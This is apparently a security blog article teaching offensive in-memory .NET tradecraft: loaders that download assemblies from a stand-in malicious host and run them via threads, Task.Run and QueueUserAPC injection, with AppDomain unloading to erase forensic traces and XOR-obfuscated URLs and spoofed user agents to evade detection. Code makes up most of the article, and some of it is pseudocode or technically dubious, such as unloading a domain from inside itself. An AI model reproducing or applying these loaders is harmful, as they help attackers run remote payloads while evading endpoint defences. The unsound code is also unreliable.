The Ultimate Guide to In-Memory NET Tradecraft: Evade EDR with Async & APC Injection

Listen to this Post

Featured Image

Introduction:

Advanced adversaries are increasingly leveraging in-memory execution to bypass traditional security controls. This article deconstructs sophisticated techniques for loading and executing .NET assemblies entirely in memory, focusing on stealth, cleanup, and blending with legitimate process behavior.

Learning Objectives:

  • Understand the critical differences between synchronous and asynchronous in-memory execution methods.
  • Implement full assembly unloading procedures to eliminate forensic artifacts in tools like Process Hacker.
  • Master Advanced Persistent Threat (APT) tradecraft using QueueUserAPC for minimal event logging.

You Should Know:

1. Synchronous Execution in Default AppDomain

The most basic form of in-memory execution loads an assembly into the default Application Domain. While it avoids disk writes, it leaves significant traces.

// Code 1: Synchronous execution in default AppDomain
byte[] assemblyBytes = DownloadBytesFromUrl("http://malicious-domain/payload.exe");
Assembly assembly = Assembly.Load(assemblyBytes);
MethodInfo entryPoint = assembly.EntryPoint;
object[] parameters = new object[] { new string[] { } };
Thread thread = new Thread(() => entryPoint.Invoke(null, parameters));
thread.Start();
thread.Join(); // Blocks until execution completes
// Note: Assembly cannot be unloaded from default AppDomain

Step-by-Step Guide: This method downloads the payload as a byte array, uses `Assembly.Load()` to load it into the current AppDomain, and creates a new thread to invoke the entry point. The major limitation is the inability to unload the assembly from the default AppDomain, leaving it resident in memory and easily detectable by memory forensics tools. Use `thread.Join()` to wait for execution to finish, but be aware this creates a blocking operation.

2. Synchronous Execution with Separate AppDomain

Creating a separate AppDomain allows for full cleanup by unloading the entire domain after execution, removing all assembly traces.

// Code 2: Synchronous execution with separate AppDomain
AppDomain newDomain = AppDomain.CreateDomain("TempDomain");
byte[] assemblyBytes = DownloadBytesFromUrl("http://malicious-domain/payload.exe");
Assembly assembly = newDomain.Load(assemblyBytes);
MethodInfo entryPoint = assembly.EntryPoint;
Thread thread = new Thread(() => entryPoint.Invoke(null, new object[] { new string[] { } }));
thread.Start();
thread.Join();
AppDomain.Unload(newDomain); // Critical cleanup step

Step-by-Step Guide: This is a significant improvement. `AppDomain.CreateDomain()` creates an isolated environment. The assembly is loaded into this new domain, executed via a new thread, and after `thread.Join()` returns, `AppDomain.Unload(newDomain)` destroys the entire domain and all loaded assemblies. This removes the payload from the process’s memory, evading post-execution scanners. The thread creation event is still logged by EDR/ETW.

3. Asynchronous Execution with Task.Run

Leveraging the Task Parallel Library (TPL) provides non-blocking execution and blends in with modern, legitimate application behavior.

// Code 3: Asynchronous execution using TPL
AppDomain newDomain = AppDomain.CreateDomain("AsyncDomain");
byte[] assemblyBytes = DownloadBytesFromUrl("http://malicious-domain/async-payload.exe");
Assembly assembly = newDomain.Load(assemblyBytes);
MethodInfo entryPoint = assembly.EntryPoint;
Task.Run(() => {
entryPoint.Invoke(null, new object[] { new string[] { } });
}).ContinueWith(t => {
AppDomain.Unload(newDomain); // Unload after task completion
});

Step-by-Step Guide: This method uses `Task.Run()` to queue the execution of the assembly’s entry point on the .NET thread pool. This is non-blocking, allowing the main thread to continue. The `.ContinueWith()` method ensures the temporary AppDomain is unloaded immediately after the task completes. This approach is highly scalable and generates thread pool events, which are extremely common and noisy, helping the operation blend into normal background activity.

4. Advanced Async Injection with QueueUserAPC

The most stealthy method uses Asynchronous Procedure Calls (APC) to inject execution into existing threads, minimizing new thread creation events.

// Code 4: Async QueueUserAPC injection (P/Invoke required)
[DllImport("kernel32.dll")]
static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);

AppDomain newDomain = AppDomain.CreateDomain("APCDomain");
byte[] assemblyBytes = DownloadBytesFromUrl("http://malicious-domain/stealth.exe");
Assembly assembly = newDomain.Load(assemblyBytes);
MethodInfo entryPoint = assembly.EntryPoint;

// Target a thread in an alertable state (e.g., thread waiting on sleep/alert)
IntPtr targetThreadHandle = GetAlertableThreadHandle(); // Pseudocode for finding a thread
IntPtr apcDelegate = Marshal.GetFunctionPointerForDelegate(new Action(() => {
entryPoint.Invoke(null, new object[] { new string[] { } });
AppDomain.Unload(newDomain);
}));
QueueUserAPC(apcDelegate, targetThreadHandle, IntPtr.Zero);

Step-by-Step Guide: This advanced technique requires P/Invoke. It first creates a separate AppDomain. Instead of creating a new thread, it finds an existing thread in an alertable wait state (common in many applications). It gets a function pointer to a delegate that contains the payload execution and cleanup logic. `QueueUserAPC` instructs the target thread to execute this delegate when it next leaves its wait state. This generates no new thread creation events, making it exceptionally difficult to detect. The assembly execution and unloading happen within the context of a legitimate thread.

5. Thread Termination and Cleanup

Clean thread termination is crucial to avoid orphaned threads, which are a key detection indicator.

// Proper thread termination for synchronous methods (Code 1 & 2)
[DllImport("kernel32.dll")]
static extern void ExitThread(uint dwExitCode);

// Inside the thread's execution method:
void ThreadProc() {
try {
entryPoint.Invoke(null, parameters);
}
finally {
ExitThread(0); // Cleanly terminates the thread
}
}

Step-by-Step Guide: Simply letting a thread return naturally can sometimes leave subtle artifacts. For maximum control, especially in unmanaged code execution paths, explicitly calling `ExitThread()` ensures the thread is terminated cleanly at the kernel level. This is done inside a `finally` block to guarantee execution even if the payload crashes. This minimizes the risk of thread handle leaks or abnormal termination events that could trigger security alerts.

6. Obfuscated Network Download

The initial download of the payload must also be stealthy to avoid network-based detection.

// Obfuscated download with WebClient and optional proxy
using (WebClient client = new WebClient()) {
client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36");
client.Proxy = WebRequest.GetSystemWebProxy(); // Blends with system traffic
// Simple XOR obfuscation for the URL
string encryptedUrl = XOR_Encrypt("http://real-malicious-domain/payload.exe", "key");
string realUrl = XOR_Decrypt(encryptedUrl, "key");
byte[] assemblyBytes = client.DownloadData(realUrl);
}

Step-by-Step Guide: Using the standard `WebClient` object with a common User-Agent string helps blend traffic with normal browser or application updates. Setting the proxy to the system’s default (GetSystemWebProxy) ensures the request follows the target’s normal network path. For added stealth, store the malicious URL in an obfuscated form (e.g., XOR encrypted with a key) within the code to bypass simple string-based IOC scans on the binary.

7. Forensic Erasure with AppDomain Unloading

The `AppDomain.Unload` method is the cornerstone of forensic cleanup, but it must be handled correctly.

// Robust unloading with exception handling
try {
if (newDomain != null) {
AppDomain.Unload(newDomain);
newDomain = null; // Prevent accidental reuse
}
} catch (CannotUnloadAppDomainException ex) {
// Handle threads still executing in the domain
// Log or implement retry logic for a clean exit
}

Step-by-Step Guide: Simply calling `Unload` is not always enough. If a thread is still executing code within the AppDomain, a `CannotUnloadAppDomainException` will be thrown. Robust code must catch this exception and implement a retry mechanism or force a cleanup. Setting the domain reference to `null` after successful unloading prevents accidental use of a disposed object, which would crash the process and reveal the operation.

What Undercode Say:

  • Async is the Future of Stealth. The shift from synchronous thread creation to asynchronous, thread-pool-based methods (Task.Run) and especially APC injection represents the highest evolution of in-memory tradecraft, dramatically reducing the event footprint.
  • Cleanup is Non-Negotiable. The ability to fully unload an assembly via a separate AppDomain is the critical differentiator between amateur and professional-grade malware, directly impacting dwell time and detection avoidance.
  • Analysis: The techniques outlined, particularly Code 4 (QueueUserAPC), demonstrate a deep understanding of both the .NET runtime and Windows OS internals. This moves beyond simple LOLBAS execution and into the realm of Advanced Persistent Threats (APTs) that prioritize long-term, undetected access. The focus on blending with legitimate application behavior (async tasks, thread pools) rather than simply avoiding detection makes these methods highly effective against modern EDR systems that rely heavily on behavioral analytics and anomaly detection. This represents the current cutting edge for red team operations.

Prediction:

The normalization of asynchronous execution patterns in legitimate software will force EDR vendors to deepen their inspection capabilities at the kernel level, specifically around APC delivery mechanisms and .NET CLR runtime events. We predict a new arms race in kernel-mode hooking for user-mode APCs, leading to increased system instability and potentially motivating a broader industry shift towards hardware-isolated security solutions like Microsoft’s Pluton.

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Damonmohammadbagher Dynamically – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky